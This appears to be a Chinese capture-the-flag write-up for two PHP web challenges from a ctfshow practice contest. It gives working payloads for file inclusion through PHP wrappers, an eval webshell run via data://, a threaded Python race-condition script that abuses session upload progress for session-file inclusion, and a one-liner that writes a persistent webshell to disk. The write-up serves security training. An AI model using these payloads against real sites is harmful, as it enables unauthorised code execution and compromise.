ctfshow36D练手赛

不知所措.jpg

1
2
php
$file must has test

试了一下get传参,大概率是文件包含了,伪协议直接打

1
?file=php://filter/read=convert.base64-encode/test/resource=index.

这点之前lilctf里面也用到过,test不是filter可选的参数,所以是不影响的,但是不知道flag的文件名,只能试试data了

1
?file=data://text/plain,<?=eval($_GET[a]);?>test&a=system('tac /F*');

easyshell

1
2
3
username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>

抓包给name和pass先随便传点,发现cookie里面有个hash值,说不定就是md5($secret.$name),给pass传入试一试,ok,拿到flflflflag.php,浏览器访问会跳转,我们依旧抓包,然后后面就是一个文件包含

1
2
3
4
5
6
7
8
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

filter伪协议把flflflflag.php的源码拿到,我是先尝试了日志包含但是一直没回显,可能就是文件位置错了!试下session包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import io
import requests
import threading

sessid="flag"
url="http://0e1f2cca-e2cb-408d-8f4f-6c42b1999025.challenge.ctf.show/flflflflag.php"

def write(session): #打入session文件
while event.is_set():
f=io.BytesIO(b'a'*1024*50)
r=session.post(
url=url,
cookies={'PHPSESSID':sessid},
data={
"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"
},
files={"file":('feii.txt',f)}
)

def read(session): #读取session文件进行条件竞争
while event.is_set():

r=session.get(url=url, params = {"file":"/tmp/sess_flag"})

if 'feii.txt' in r.text:
print("[+] 成功写入!响应:")
print(r.text)
event.clear()
else :
print("[-] 继续尝试...")


if __name__=='__main__':
event=threading.Event()
event.set()
with requests.session() as sess:
for i in range(1,30):
threading.Thread(target=write,args=(sess,)).start()

for i in range(1,30):
threading.Thread(target=read,args=(sess,)).start()

先试了最简单的phpinfo,直接就拿到了flag,然后disable_functions把命令执行的函数都给ban了!我用scandir扫描了目录/var/log/下没有nginx但是有个apache2这就不懂了,然后又试了/var/log/apache2/access.log,这里面好像没内容

最后发现还可以这样写马,利用fputs和fopen

1
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1]);?>');?>

然后用蚁剑的插件绕过一下就好了